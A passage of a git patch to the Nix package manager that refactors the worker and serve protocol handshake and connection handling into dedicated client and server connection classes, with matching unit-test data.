++----------- ...l-impl.cc => serve-protocol-connection.cc} | 68 +++-- src/libstore/serve-protocol-connection.hh | 108 +++++++ src/libstore/serve-protocol-impl.hh | 101 ------- src/libstore/worker-protocol-connection.cc | 280 ++++++++++++++++++ src/libstore/worker-protocol-connection.hh | 187 ++++++++++++ src/libstore/worker-protocol.cc | 31 ++ src/libstore/worker-protocol.hh | 42 +++ src/nix-store/nix-store.cc | 1 + .../client-handshake-info_1_30.bin | 0 .../client-handshake-info_1_33.bin | Bin 0 -> 32 bytes .../client-handshake-info_1_35.bin | Bin 0 -> 48 bytes .../worker-protocol/handshake-to-client.bin | Bin 0 -> 16 bytes tests/unit/libstore/serve-protocol.cc | 1 + tests/unit/libstore/worker-protocol.cc | 153 +++++++++- 18 files changed, 906 insertions(+), 452 deletions(-) rename src/libstore/{serve-protocol-impl.cc => serve-protocol-connection.cc} (51%) create mode 100644 src/libstore/serve-protocol-connection.hh create mode 100644 src/libstore/worker-protocol-connection.cc create mode 100644 src/libstore/worker-protocol-connection.hh create mode 100644 tests/unit/libstore/data/worker-protocol/client-handshake-info_1_30.bin create mode 100644 tests/unit/libstore/data/worker-protocol/client-handshake-info_1_33.bin create mode 100644 tests/unit/libstore/data/worker-protocol/client-handshake-info_1_35.bin create mode 100644 tests/unit/libstore/data/worker-protocol/handshake-to-client.bin diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc index 47d6d5541..2add9ae12 100644 --- a/src/libstore/daemon.cc +++ b/src/libstore/daemon.cc @@ -1,6 +1,7 @@ #include "daemon.hh" #include "signals.hh" #include "worker-protocol.hh" +#include "worker-protocol-connection.hh" #include "worker-protocol-impl.hh" #include "build-result.hh" #include "store-api.hh" @@ -1026,11 +1027,9 @@ void processConnection( #endif /* Exchange the greeting. */ - unsigned int magic = readInt(from); - if (magic != WORKER_MAGIC_1) throw Error("protocol mismatch"); - to << WORKER_MAGIC_2 << PROTOCOL_VERSION; - to.flush(); - WorkerProto::Version clientVersion = readInt(from); + WorkerProto::Version clientVersion = + WorkerProto::BasicServerConnection::handshake( + to, from, PROTOCOL_VERSION); if (clientVersion < 0x10a) throw Error("the Nix client version is too old"); @@ -1048,29 +1047,20 @@ void processConnection( printMsgUsing(prevLogger, lvlDebug, "%d operations", opCount); }); - if (GET_PROTOCOL_MINOR(clientVersion) >= 14 && readInt(from)) { - // Obsolete CPU affinity. - readInt(from); - } + WorkerProto::BasicServerConnection conn { + .to = to, + .from = from, + .clientVersion = clientVersion, + }; - if (GET_PROTOCOL_MINOR(clientVersion) >= 11) - readInt(from); // obsolete reserveSpace - - if (GET_PROTOCOL_MINOR(clientVersion) >= 33) - to << nixVersion; - - if (GET_PROTOCOL_MINOR(clientVersion) >= 35) { + conn.postHandshake(*store, { + .daemonNixVersion = nixVersion, // We and the underlying store both need to trust the client for // it to be trusted. - auto temp = trusted + .remoteTrustsUs = trusted ? store->isTrustedClient() - : std::optional { NotTrusted }; - WorkerProto::WriteConn wconn { - .to = to, - .version = clientVersion, - }; - WorkerProto::write(*store, wconn, temp); - } + : std::optional { NotTrusted }, + }); /* Send startup error messages to the client. */ tunnelLogger->startWork(); diff --git a/src/libstore/legacy-ssh-store.cc b/src/libstore/legacy-ssh-store.cc index c75d50ade..146049922 100644 --- a/src/libstore/legacy-ssh-store.cc +++ b/src/libstore/legacy-ssh-store.cc @@ -4,6 +4,7 @@ #include "pool.hh" #include "remote-store.hh" #include "serve-protocol.hh" +#include "serve-protocol-connection.hh" #include "serve-protocol-impl.hh" #include "build-result.hh" #include "store-api.hh" @@ -86,7 +87,7 @@ ref LegacySSHStore::openConnection() conn->sshConn->in.close(); { NullSink nullSink; - conn->from.drainInto(nullSink); + tee.drainInto(nullSink); } throw Error("'nix-store --serve' protocol mismatch from '%s', got '%s'", host, chomp(saved.s)); @@ -168,41 +169,38 @@ void LegacySSHStore::addToStore(const ValidPathInfo & info, Source & source, } conn->to.flush(); + if (readInt(conn->from) != 1) + throw Error("failed to add path '%s' to remote host '%s'", printStorePath(info.path), host); + } else { - conn->to - << ServeProto::Command::ImportPaths - << 1; - try { - copyNAR(source, conn->to); - } catch (...) { - conn->good = false; - throw; - } - conn->to - << exportMagic - << printStorePath(info.path); - ServeProto::write(*this, *conn, info.references); - conn->to - << (info.deriver ? printStorePath(*info.deriver) : "") - << 0 - << 0; - conn->to.flush(); + conn->importPaths(*this, [&](Sink & sink) { + try { + copyNAR(source, sink); + } catch (...) { + conn->good = false; + throw; + } + sink + << exportMagic + << printStorePath(info.path); + ServeProto::write(*this, *conn, info.references); + sink + << (info.deriver ? printStorePath(*info.deriver) : "") + << 0 + << 0; + }); } - - if (readInt(conn->from) != 1) - throw Error("failed to add path '%s' to remote host '%s'", printStorePath(info.path), host); } void LegacySSHStore::narFromPath(const StorePath & path, Sink & sink) { auto conn(connections->get()); - - conn->to << ServeProto::Command::DumpStorePath << printStorePath(path); - conn->to.flush(); - copyNAR(conn->from, sink); + conn->narFromPath(*this, path, [&](auto & source) { + copyNAR(source, sink); + }); } @@ -226,7 +224,7 @@ BuildResult LegacySSHStore::buildDerivation(const StorePath & drvPath, const Bas conn->putBuildDerivationRequest(*this, drvPath, drv, buildSettings()); - return ServeProto::Serialise::read(*this, *conn); + return conn->getBuildDerivationResponse(*this); } diff --git a/src/libstore/remote-store-connection.hh b/src/libstore/remote-store-connection.hh index 44328b06b..405120ee9 100644 --- a/src/libstore/remote-store-connection.hh +++ b/src/libstore/remote-store-connection.hh @@ -3,6 +3,7 @@ #include "remote-store.hh" #include "worker-protocol.hh" +#include "worker-protocol-connection.hh" #include "pool.hh" namespace nix { @@ -14,90 +15,13 @@ namespace nix { * Contains `Source` and `Sink` for actual communication, along with * other information learned when negotiating the connection. */ -struct RemoteStore::Connection +struct RemoteStore::Connection : WorkerProto::BasicClientConnection, + WorkerProto::ClientHandshakeInfo { - /** - * Send with this. - */ - FdSink to; - - /** - * Receive with this. - */ - FdSource from; - - /** - * Worker protocol version used for the connection. - * - * Despite its name, I think it is actually the maximum version both - * sides support. (If the maximum doesn't exist, we would fail to - * establish a connection and produce a value of this type.) - */ - WorkerProto::Version daemonVersion; - - /** - * Whether the remote side trusts us or not. - * - * 3 values: "yes", "no", or `std::nullopt` for "unknown". - * - * Note that the "remote side" might not be just the end daemon, but - * also an intermediary forwarder that can make its own trusting - * decisions. This would be the intersection of all their trust - * decisions, since it takes only one link in the chain to start - * denying operations. - */ - std::optional remoteTrustsUs; - - /** - * The version of the Nix daemon that is processing our requests. - * - * Do note, it may or may not communicating with another daemon, - * rather than being an "end" `LocalStore` or similar. - */ - std::optional daemonNixVersion; - /** * Time this connection was established. */ std::chrono::time_point startTime; - - /** - * Coercion to `WorkerProto::ReadConn`. This makes it easy to use the - * factored out worker protocol searlizers with a - * `RemoteStore::Connection`. - * - * The worker protocol connection types are unidirectional, unlike - * this type. - */ - operator WorkerProto::ReadConn () - { - return WorkerProto::ReadConn { - .from = from, - .version = daemonVersion, - }; - } - - /** - * Coercion to `WorkerProto::WriteConn`. This makes it easy to use the - * factored out worker protocol searlizers with a - * `RemoteStore::Connection`. - * - * The worker protocol connection types are unidirectional, unlike - * this type. - */ - operator WorkerProto::WriteConn () - { - return WorkerProto::WriteConn { - .to = to, - .version = daemonVersion, - }; - } - - virtual ~Connection(); - - virtual void closeWrite() = 0; - - std::exception_ptr processStderr(Sink * sink = 0, Source * source = 0, bool flush = true); }; /** diff --git a/src/libstore/remote-store.cc b/src/libstore/remote-store.cc index 09196481b..d6efc14f9 100644 --- a/src/libstore/remote-store.cc +++ b/src/libstore/remote-store.cc @@ -69,50 +69,26 @@ void RemoteStore::initConnection(Connection & conn) /* Send the magic greeting, check for the reply. */ try { conn.from.endOfFileError = "Nix daemon disconnected unexpectedly (maybe it crashed?)"; - conn.to << WORKER_MAGIC_1; - conn.to.flush(); + StringSink saved; + TeeSource tee(conn.from, saved); try { - TeeSource tee(conn.from, saved); - unsigned int magic = readInt(tee); - if (magic != WORKER_MAGIC_2) - throw Error("protocol mismatch"); + conn.daemonVersion = WorkerProto::BasicClientConnection::handshake( + conn.to, tee, PROTOCOL_VERSION); } catch (SerialisationError & e) { /* In case the other side is waiting for our input, close it. */ conn.closeWrite(); - auto msg = conn.from.drain(); - throw Error("protocol mismatch, got '%s'", chomp(saved.s + msg)); + { + NullSink nullSink; + tee.drainInto(nullSink); + } + throw Error("protocol mismatch, got '%s'", chomp(saved.s)); } - conn.from >> conn.daemonVersion; - if (GET_PROTOCOL_MAJOR(conn.daemonVersion) != GET_PROTOCOL_MAJOR(PROTOCOL_VERSION)) - throw Error("Nix daemon protocol version not supported"); - if (GET_PROTOCOL_MINOR(conn.daemonVersion) < 10) - throw Error("the Nix daemon version is too old"); - conn.to << PROTOCOL_VERSION; + static_cast(conn) = conn.postHandshake(*this); - if (GET_PROTOCOL_MINOR(conn.daemonVersion) >= 14) { - // Obsolete CPU affinity. - conn.to << 0; - } - - if (GET_PROTOCOL_MINOR(conn.daemonVersion) >= 11) - conn.to << false; // obsolete reserveSpace - - if (GET_PROTOCOL_MINOR(conn.daemonVersion) >= 33) { - conn.to.flush(); - conn.daemonNixVersion = readString(conn.from); - } - - if (GET_PROTOCOL_MINOR(conn.daemonVersion) >= 35) { - conn.remoteTrustsUs = WorkerProto::Serialise>::read(*this, conn); - } else { - // We don't know the answer; protocol to old. - conn.remoteTrustsUs = std::nullopt; - } - - auto ex = conn.processStderr(); + auto ex = conn.processStderrReturn(); if (ex) std::rethrow_exception(ex); } catch (Error & e) { @@ -158,7 +134,7 @@ void RemoteStore::setOptions(Connection & conn) conn.to << i.first << i.second.value; } - auto ex = conn.processStderr(); + auto ex = conn.processStderrReturn(); if (ex) std::rethrow_exception(ex); } @@ -173,28 +149,7 @@ RemoteStore::ConnectionHandle::~ConnectionHandle() void RemoteStore::ConnectionHandle::processStderr(Sink * sink, Source * source, bool flush) { - auto ex = handle->processStderr(sink, source, flush); - if (ex) { - daemonException = true; - try { - std::rethrow_exception(ex); - } catch (const Error & e) { - // Nix versions before #4628 did not have an adequate behavior for reporting that the derivation format was upgraded. - // To avoid having to add compatibility logic in many places, we expect to catch almost all occurrences of the - // old incomprehensible error here, so that we can explain to users what's going on when their daemon is - // older than #4628 (2023). - if (experimentalFeatureSettings.isEnabled(Xp::DynamicDerivations) && - GET_PROTOCOL_MINOR(handle->daemonVersion) <= 35) - { - auto m = e.msg(); - if (m.find("parsing derivation") != std::string::npos && - m.find("expected string") != std::string::npos && - m.find("Derive([") != std::string::npos) - throw Error("%s, this might be because the daemon is too old to understand dependencies on dynamic derivations. Check to see if the raw derivation is in the form '%s'", std::move(m), "DrvWithVersion(..)"); - } - throw; - } - } + handle->processStderr(&daemonException, sink, source, flush); } @@ -226,13 +181,7 @@ StorePathSet RemoteStore::queryValidPaths(const StorePathSet & paths, Substitute if (isValidPath(i)) res.insert(i); return res; } else { - conn->to << WorkerProto::Op::QueryValidPaths; - WorkerProto::write(*this, *conn, paths); - if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 27) { - conn->to << maybeSubstitute; - } - conn.processStderr(); - return WorkerProto::Serialise::read(*this, *conn); + return conn->queryValidPaths(*this, &conn.daemonException, paths, maybeSubstitute); } } @@ -322,22 +271,10 @@ void RemoteStore::queryPathInfoUncached(const StorePath & path, std::shared_ptr info; { auto conn(getConnection()); - conn->to << WorkerProto::Op::QueryPathInfo << printStorePath(path); - try { - conn.processStderr(); - } catch (Error & e) { - // Ugly backwards compatibility hack. - if (e.msg().find("is not valid") != std::string::npos) - throw InvalidPath(std::move(e.info())); - throw; - } - if (GET_PROTOCOL_MINOR(conn->daemonVersion) >= 17) { - bool valid; conn->from >> valid; - if (!valid) throw InvalidPath("path '%s' is not valid", printStorePath(path)); - } info = std::make_shared( StorePath{path}, - WorkerProto::Serialise::read(*this, *conn)); + conn->queryPathInfo(*this, &conn.daemonException, path)); + } callback(std::move(info)); } catch (...) { callback.rethrow(); } @@ -542,8 +479,6 @@ void RemoteStore::addToStore(const ValidPathInfo & info, Source & source, auto conn(getConnection()); if (GET_PROTOCOL_MINOR(conn->daemonVersion) < 18) { - conn->to << WorkerProto::Op::ImportPaths; - auto source2 = sinkToSource([&](Sink & sink) { sink << 1 // == path follows ; @@ -558,11 +493,7 @@ void RemoteStore::addToStore(const ValidPathInfo & info, Source & source, << 0 // == no path follows ; }); - - conn.processStderr(0, source2.get()); - - auto importedPaths = WorkerProto::Serialise::read(*this, *conn); - assert(importedPaths.size() <= 1); + conn->importPaths(*this, &conn.daemonException, *source2); } else { @@ -807,9 +738,7 @@ BuildResult RemoteStore::buildDerivation(const StorePath & drvPath, const BasicD BuildMode buildMode) { auto conn(getConnection()); - conn->to << WorkerProto::Op::BuildDerivation << printStorePath(drvPath); - writeDerivation(conn->to, *this, drv); - conn->to << buildMode; + conn->putBuildDerivationRequest(*this, &conn.daemonException, drvPath, drv, buildMode); conn.processStderr(); return WorkerProto::Serialise::read(*this, *conn); } @@ -827,9 +756,7 @@ void RemoteStore::ensurePath(const StorePath & path) void RemoteStore::addTempRoot(const StorePath & path) { auto conn(getConnection()); - conn->to << WorkerProto::Op::AddTempRoot << printStorePath(path); - conn.processStderr(); - readInt(conn->from); + conn->addTempRoot(*this, &conn.daemonException, path); } @@ -969,22 +896,12 @@ void RemoteStore::flushBadConnections() connections->flushBad(); } - -RemoteStore::Connection::~Connection() -{ - try { - to.flush(); - } catch (...) { - ignoreException(); - } -} - void RemoteStore::narFromPath(const StorePath & path, Sink & sink) { - auto conn(connections->get()); - conn->to << WorkerProto::Op::NarFromPath << printStorePath(path); - conn->processStderr(); - copyNAR(conn->from, sink); + auto conn(getConnection()); + conn->narFromPath(*this, &conn.daemonException, path, [&](Source & source) { + copyNAR(conn->from, sink); + }); } ref RemoteStore::getFSAccessor(bool requireValidPath) @@ -992,91 +909,6 @@ ref RemoteStore::getFSAccessor(bool requireValidPath) return make_ref(ref(shared_from_this())); } -static Logger::Fields readFields(Source & from) -{ - Logger::Fields fields; - size_t size = readInt(from); - for (size_t n = 0; n < size; n++) { - auto type = (decltype(Logger::Field::type)) readInt(from); - if (type == Logger::Field::tInt) - fields.push_back(readNum(from)); - else if (type == Logger::Field::tString) - fields.push_back(readString(from)); - else - throw Error("got unsupported field type %x from Nix daemon", (int) type); - } - return fields; -} - - -std::exception_ptr RemoteStore::Connection::processStderr(Sink * sink, Source * source, bool flush) -{ - if (flush) - to.flush(); - - while (true) { - - auto msg = readNum(from); - - if (msg == STDERR_WRITE) { - auto s = readString(from); - if (!sink) throw Error("no sink"); - (*sink)(s); - } - - else if (msg == STDERR_READ) { - if (!source) throw Error("no source"); - size_t len = readNum(from); - auto buf = std::make_unique(len); - writeString({(const char *) buf.get(), source->read(buf.get(), len)}, to); - to.flush(); - } - - else if (msg == STDERR_ERROR) { - if (GET_PROTOCOL_MINOR(daemonVersion) >= 26) { - return std::make_exception_ptr(readError(from)); - } else { - auto error = readString(from); - unsigned int status = readInt(from); - return std::make_exception_ptr(Error(status, error)); - } - } - - else if (msg == STDERR_NEXT) - printError(chomp(readString(from))); - - else if (msg == STDERR_START_ACTIVITY) { - auto act = readNum(from); - auto lvl = (Verbosity) readInt(from); - auto type = (ActivityType) readInt(from); - auto s = readString(from); - auto fields = readFields(from); - auto parent = readNum(from); - logger->startActivity(act, lvl, type, s, fields, parent); - } - - else if (msg == STDERR_STOP_ACTIVITY) { - auto act = readNum(from); - logger->stopActivity(act); - } - - else if (msg == STDERR_RESULT) { - auto act = readNum(from); - auto type = (ResultType) readInt(from); - auto fields = readFields(from); - logger->result(act, type, fields); - } - - else if (msg == STDERR_LAST) - break; - - else - throw Error("got unknown message type %x from Nix daemon", msg); - } - - return nullptr; -} - void RemoteStore::ConnectionHandle::withFramedSink(std::function fun) { (*this)->to.flush(); diff --git a/src/libstore/serve-protocol-impl.cc b/src/libstore/serve-protocol-connection.cc similarity index 51% rename from src/libstore/serve-protocol-impl.cc rename to src/libstore/serve-protocol-connection.cc index 5e1d3f1e8..07379999b 100644 --- a/src/libstore/serve-protocol-impl.cc +++ b/src/libstore/serve-protocol-connection.cc @@ -1,3 +1,4 @@ +#include "serve-protocol-connection.hh" #include "serve-protocol-impl.hh" #include "build-result.hh" #include "derivations.hh" @@ -5,10 +6,7 @@ namespace nix { ServeProto::Version ServeProto::BasicClientConnection::handshake( - BufferedSink & to, - Source & from, - ServeProto::Version localVersion, - std::string_view host) + BufferedSink & to, Source & from, ServeProto::Version localVersion, std::string_view host) { to << SERVE_MAGIC_1 << localVersion; to.flush(); @@ -22,39 +20,30 @@ ServeProto::Version ServeProto::BasicClientConnection::handshake( return std::min(remoteVersion, localVersion); } -ServeProto::Version ServeProto::BasicServerConnection::handshake( - BufferedSink & to, - Source & from, - ServeProto::Version localVersion) +ServeProto::Version +ServeProto::BasicServerConnection::handshake(BufferedSink & to, Source & from, ServeProto::Version localVersion) { unsigned int magic = readInt(from); - if (magic != SERVE_MAGIC_1) throw Error("protocol mismatch"); + if (magic != SERVE_MAGIC_1) + throw Error("protocol mismatch"); to << SERVE_MAGIC_2 << localVersion; to.flush(); auto remoteVersion = readInt(from); return std::min(remoteVersion, localVersion); } - StorePathSet ServeProto::BasicClientConnection::queryValidPaths( - const Store & store, - bool lock, const StorePathSet & paths, - SubstituteFlag maybeSubstitute) + const StoreDirConfig & store, bool lock, const StorePathSet & paths, SubstituteFlag maybeSubstitute) { - to - << ServeProto::Command::QueryValidPaths - << lock - << maybeSubstitute; + to << ServeProto::Command::QueryValidPaths << lock << maybeSubstitute; write(store, *this, paths); to.flush(); return Serialise::read(store, *this); } - -std::map ServeProto::BasicClientConnection::queryPathInfos( - const Store & store, - const StorePathSet & paths) +std::map +ServeProto::BasicClientConnection::queryPathInfos(const StoreDirConfig & store, const StorePathSet & paths) { std::map infos; @@ -64,7 +53,8 @@ std::map ServeProto::BasicClientConnection::que while (true) { auto storePathS = readString(from); - if (storePathS == "") break; + if (storePathS == "") + break; auto storePath = store.parseStorePath(storePathS); assert(paths.count(storePath) == 1); @@ -75,15 +65,13 @@ std::map ServeProto::BasicClientConnection::que return infos; } - void ServeProto::BasicClientConnection::putBuildDerivationRequest( - const Store & store, - const StorePath & drvPath, const BasicDerivation & drv, + const StoreDirConfig & store, + const StorePath & drvPath, + const BasicDerivation & drv, const ServeProto::BuildOptions & options) { - to - << ServeProto::Command::BuildDerivation - << store.printStorePath(drvPath); + to << ServeProto::Command::BuildDerivation << store.printStorePath(drvPath); writeDerivation(to, store, drv); ServeProto::write(store, *this, options); @@ -91,4 +79,28 @@ void ServeProto::BasicClientConnection::putBuildDerivationRequest( to.flush(); } +BuildResult ServeProto::BasicClientConnection::getBuildDerivationResponse(const StoreDirConfig & store) +{ + return ServeProto::Serialise::read(store, *this); +} + +void ServeProto::BasicClientConnection::narFromPath( + const StoreDirConfig & store, const StorePath & path, std::function fun) +{ + to << ServeProto::Command::DumpStorePath << store.printStorePath(path); + to.flush(); + + fun(from); +} + +void ServeProto::BasicClientConnection::importPaths(const StoreDirConfig & store, std::function fun) +{ + to << ServeProto::Command::ImportPaths; + fun(to); + to.flush(); + + if (readInt(from) != 1) + throw Error("remote machine failed to import closure"); +} + } diff --git a/src/libstore/serve-protocol-connection.hh b/src/libstore/serve-protocol-connection.hh new file mode 100644 index 000000000..73bf71443 --- /dev/null +++ b/src/libstore/serve-protocol-connection.hh @@ -0,0 +1,108 @@ +#pragma once +///@file + +#include "serve-protocol.hh" +#include "store-api.hh" + +namespace nix { + +struct ServeProto::BasicClientConnection +{ + FdSink to; + FdSource from; + ServeProto::Version remoteVersion; + + /** + * Establishes connection, negotiating version. + * + * @return the version provided by the other side of the + * connection. + * + * @param to Taken by reference to allow for various error handling + * mechanisms. + * + * @param from Taken by reference to allow for various error + * handling mechanisms. + * + * @param localVersion Our version which is sent over + * + * @param host Just used to add context to thrown exceptions. + */ + static ServeProto::Version + handshake(BufferedSink & to, Source & from, ServeProto::Version localVersion, std::string_view host); + + /** + * Coercion to `ServeProto::ReadConn`. This makes it easy to use the + * factored out serve protocol serializers with a + * `LegacySSHStore::Connection`. + * + * The serve protocol connection types are unidirectional, unlike + * this type. + */ + operator ServeProto::ReadConn() + { + return ServeProto::ReadConn{ + .from = from, + .version = remoteVersion, + }; + } + + /** + * Coercion to `ServeProto::WriteConn`. This makes it easy to use the + * factored out serve protocol serializers with a + * `LegacySSHStore::Connection`. + * + * The serve protocol connection types are unidirectional, unlike + * this type. + */ + operator ServeProto::WriteConn() + { + return ServeProto::WriteConn{ + .to = to, + .version = remoteVersion, + }; + } + + StorePathSet queryValidPaths( + const StoreDirConfig & remoteStore, bool lock, const StorePathSet & paths, SubstituteFlag maybeSubstitute); + + std::map queryPathInfos(const StoreDirConfig & store, const StorePathSet & paths); + ; + + void putBuildDerivationRequest( + const StoreDirConfig & store, + const StorePath & drvPath, + const BasicDerivation & drv, + const ServeProto::BuildOptions & options); + + /** + * Get the response, must be paired with + * `putBuildDerivationRequest`. + */ + BuildResult getBuildDerivationResponse(const StoreDirConfig & store); + + void narFromPath(const StoreDirConfig & store, const StorePath & path, std::function fun); + + void importPaths(const StoreDirConfig & store, std::function fun); +}; + +struct ServeProto::BasicServerConnection +{ + /** + * Establishes connection, negotiating version. + * + * @return the version provided by the other side of the + * connection. + * + * @param to Taken by reference to allow for various error handling + * mechanisms. + * + * @param from Taken by reference to allow for various error + * handling mechanisms. + * + * @param localVersion Our version which is sent over + */ + static ServeProto::Version handshake(BufferedSink & to, Source & from, ServeProto::Version localVersion); +}; + +} diff --git a/src/libstore/serve-protocol-impl.hh b/src/libstore/serve-protocol-impl.hh index 1d9c79ef0..67bc5dc6e 100644 --- a/src/libstore/serve-protocol-impl.hh +++ b/src/libstore/serve-protocol-impl.hh @@ -57,105 +57,4 @@ struct ServeProto::Serialise /* protocol-specific templates */ -struct ServeProto::BasicClientConnection -{ - FdSink to; - FdSource from; - ServeProto::Version remoteVersion; - - /** - * Establishes connection, negotiating version. - * - * @return the version provided by the other side of the - * connection. - * - * @param to Taken by reference to allow for various error handling - * mechanisms. - * - * @param from Taken by reference to allow for various error - * handling mechanisms. - * - * @param localVersion Our version which is sent over - * - * @param host Just used to add context to thrown exceptions. - */ - static ServeProto::Version handshake( - BufferedSink & to, - Source & from, - ServeProto::Version localVersion, - std::string_view host); - - /** - * Coercion to `ServeProto::ReadConn`. This makes it easy to use the - * factored out serve protocol serializers with a - * `LegacySSHStore::Connection`. - * - * The serve protocol connection types are unidirectional, unlike - * this type. - */ - operator ServeProto::ReadConn () - { - return ServeProto::ReadConn { - .from = from, - .version = remoteVersion, - }; - } - - /** - * Coercion to `ServeProto::WriteConn`. This makes it easy to use the - * factored out serve protocol serializers with a - * `LegacySSHStore::Connection`. - * - * The serve protocol connection types are unidirectional, unlike - * this type. - */ - operator ServeProto::WriteConn () - { - return ServeProto::WriteConn { - .to = to, - .version = remoteVersion, - }; - } - - StorePathSet queryValidPaths( - const Store & remoteStore, - bool lock, const StorePathSet & paths, - SubstituteFlag maybeSubstitute); - - std::map queryPathInfos( - const Store & store, - const StorePathSet & paths); - - /** - * Just the request half, because Hydra may do other things between - * issuing the request and reading the `BuildResult` response. - */ - void putBuildDerivationRequest( - const Store & store, - const StorePath & drvPath, const BasicDerivation & drv, - const ServeProto::BuildOptions & options); -}; - -struct ServeProto::BasicServerConnection -{ - /** - * Establishes connection, negotiating version. - * - * @return the version provided by the other side of the - * connection. - * - * @param to Taken by reference to allow for various error handling - * mechanisms. - * - * @param from Taken by reference to allow for various error - * handling mechanisms. - * - * @param localVersion Our version which is sent over - */ - static ServeProto::Version handshake( - BufferedSink & to, - Source & from, - ServeProto::Version localVersion); -}; - } diff --git a/src/libstore/worker-protocol-connection.cc b/src/libstore/worker-protocol-connection.cc new file mode 100644 index 000000000..072bae8da --- /dev/null +++ b/src/libstore/worker-protocol-connection.cc @@ -0,0 +1,280 @@ +#include "worker-protocol-connection.hh" +#include "worker-protocol-impl.hh" +#include "build-result.hh" +#include "derivations.hh" + +namespace nix { + +WorkerProto::BasicClientConnection::~BasicClientConnection() +{ + try { + to.flush(); + } catch (...) { + ignoreException(); + } +} + +static Logger::Fields readFields(Source & from) +{ + Logger::Fields fields; + size_t size = readInt(from); + for (size_t n = 0; n < size; n++) { + auto type = (decltype(Logger::Field::type)) readInt(from); + if (type == Logger::Field::tInt) + fields.push_back(readNum(from)); + else if (type == Logger::Field::tString) + fields.push_back(readString(from)); + else + throw Error("got unsupported field type %x from Nix daemon", (int) type); + } + return fields; +} + +std::exception_ptr WorkerProto::BasicClientConnection::processStderrReturn(Sink * sink, Source * source, bool flush) +{ + if (flush) + to.flush(); + + std::exception_ptr ex; + + while (true) { + + auto msg = readNum(from); + + if (msg == STDERR_WRITE) { + auto s = readString(from); + if (!sink) + throw Error("no sink"); + (*sink)(s); + } + + else if (msg == STDERR_READ) { + if (!source) + throw Error("no source"); + size_t len = readNum(from); + auto buf = std::make_unique(len); + writeString({(const char *) buf.get(), source->read(buf.get(), len)}, to); + to.flush(); + } + + else if (msg == STDERR_ERROR) { + if (GET_PROTOCOL_MINOR(daemonVersion) >= 26) { + ex = std::make_exception_ptr(readError(from)); + } else { + auto error = readString(from); + unsigned int status = readInt(from); + ex = std::make_exception_ptr(Error(status, error)); + } + break; + } + + else if (msg == STDERR_NEXT) + printError(chomp(readString(from))); + + else if (msg == STDERR_START_ACTIVITY) { + auto act = readNum(from); + auto lvl = (Verbosity) readInt(from); + auto type = (ActivityType) readInt(from); + auto s = readString(from); + auto fields = readFields(from); + auto parent = readNum(from); + logger->startActivity(act, lvl, type, s, fields, parent); + } + + else if (msg == STDERR_STOP_ACTIVITY) { + auto act = readNum(from); + logger->stopActivity(act); + } + + else if (msg == STDERR_RESULT) { + auto act = readNum(from); + auto type = (ResultType) readInt(from); + auto fields = readFields(from); + logger->result(act, type, fields); + } + + else if (msg == STDERR_LAST) + break; + + else + throw Error("got unknown message type %x from Nix daemon", msg); + } + + if (!ex) { + return ex; + } else { + try { + std::rethrow_exception(ex); + } catch (const Error & e) { + // Nix versions before #4628 did not have an adequate + // behavior for reporting that the derivation format was + // upgraded. To avoid having to add compatibility logic in + // many places, we expect to catch almost all occurrences of + // the old incomprehensible error here, so that we can + // explain to users what's going on when their daemon is + // older than #4628 (2023). + if (experimentalFeatureSettings.isEnabled(Xp::DynamicDerivations) + && GET_PROTOCOL_MINOR(daemonVersion) <= 35) { + auto m = e.msg(); + if (m.find("parsing derivation") != std::string::npos && m.find("expected string") != std::string::npos + && m.find("Derive([") != std::string::npos) + return std::make_exception_ptr(Error( + "%s, this might be because the daemon is too old to understand dependencies on dynamic derivations. Check to see if the raw derivation is in the form '%s'", + std::move(m), + "Drv WithVersion(..)")); + } + return std::current_exception(); + } + } +} + +void WorkerProto::BasicClientConnection::processStderr(bool * daemonException, Sink * sink, Source * source, bool flush) +{ + auto ex = processStderrReturn(sink, source, flush); + if (ex) { + *daemonException = true; + std::rethrow_exception(ex); + } +} + +WorkerProto::Version +WorkerProto::BasicClientConnection::handshake(BufferedSink & to, Source & from, WorkerProto::Version localVersion) +{ + to << WORKER_MAGIC_1 << localVersion; + to.flush(); + + unsigned int magic = readInt(from); + if (magic != WORKER_MAGIC_2) + throw Error("nix-daemon protocol mismatch from"); + auto daemonVersion = readInt(from); + + if (GET_PROTOCOL_MAJOR(daemonVersion) != GET_PROTOCOL_MAJOR(PROTOCOL_VERSION)) + throw Error("Nix daemon protocol version not supported"); + if (GET_PROTOCOL_MINOR(daemonVersion) < 10) + throw Error("the Nix daemon version is too old"); + to << localVersion; + + return std::min(daemonVersion, localVersion); +} + +WorkerProto::Version +WorkerProto::BasicServerConnection::handshake(BufferedSink & to, Source & from, WorkerProto::Version localVersion) +{ + unsigned int magic = readInt(from); + if (magic != WORKER_MAGIC_1) + throw Error("protocol mismatch"); + to << WORKER_MAGIC_2 << localVersion; + to.flush(); + auto clientVersion = readInt(from); + return std::min(clientVersion, localVersion); +} + +WorkerProto::ClientHandshakeInfo WorkerProto::BasicClientConnection::postHandshake(const StoreDirConfig & store) +{ + WorkerProto::ClientHandshakeInfo res; + + if (GET_PROTOCOL_MINOR(daemonVersion) >= 14) { + // Obsolete CPU affinity. + to << 0; + } + + if (GET_PROTOCOL_MINOR(daemonVersion) >= 11) + to << false; // obsolete reserveSpace + + if (GET_PROTOCOL_MINOR(daemonVersion) >= 33) + to.flush(); + + return WorkerProto::Serialise::read(store, *this); +} + +void WorkerProto::BasicServerConnection::postHandshake(const StoreDirConfig & store, const ClientHandshakeInfo & info) +{ + if (GET_PROTOCOL_MINOR(clientVersion) >= 14 && readInt(from)) { + // Obsolete CPU affinity. + readInt(from); + } + + if (GET_PROTOCOL_MINOR(clientVersion) >= 11) + readInt(from); // obsolete reserveSpace + + WorkerProto::write(store, *this, info); +} + +UnkeyedValidPathInfo WorkerProto::BasicClientConnection::queryPathInfo( + const StoreDirConfig & store, bool * daemonException, const StorePath & path) +{ + to << WorkerProto::Op::QueryPathInfo << store.printStorePath(path); + try { + processStderr(daemonException); + } catch (Error & e) { + // Ugly backwards compatibility hack. + if (e.msg().find("is not valid") != std::string::npos) + throw InvalidPath(std::move(e.info())); + throw; + } + if (GET_PROTOCOL_MINOR(daemonVersion) >= 17) { + bool valid; + from >> valid; + if (!valid) + throw InvalidPath("path '%s' is not valid", store.printStorePath(path)); + } + return WorkerProto::Serialise::read(store, *this); +} + +StorePathSet WorkerProto::BasicClientConnection::queryValidPaths( + const StoreDirConfig & store, bool * daemonException, const StorePathSet & paths, SubstituteFlag maybeSubstitute) +{ + assert(GET_PROTOCOL_MINOR(daemonVersion) >= 12); + to << 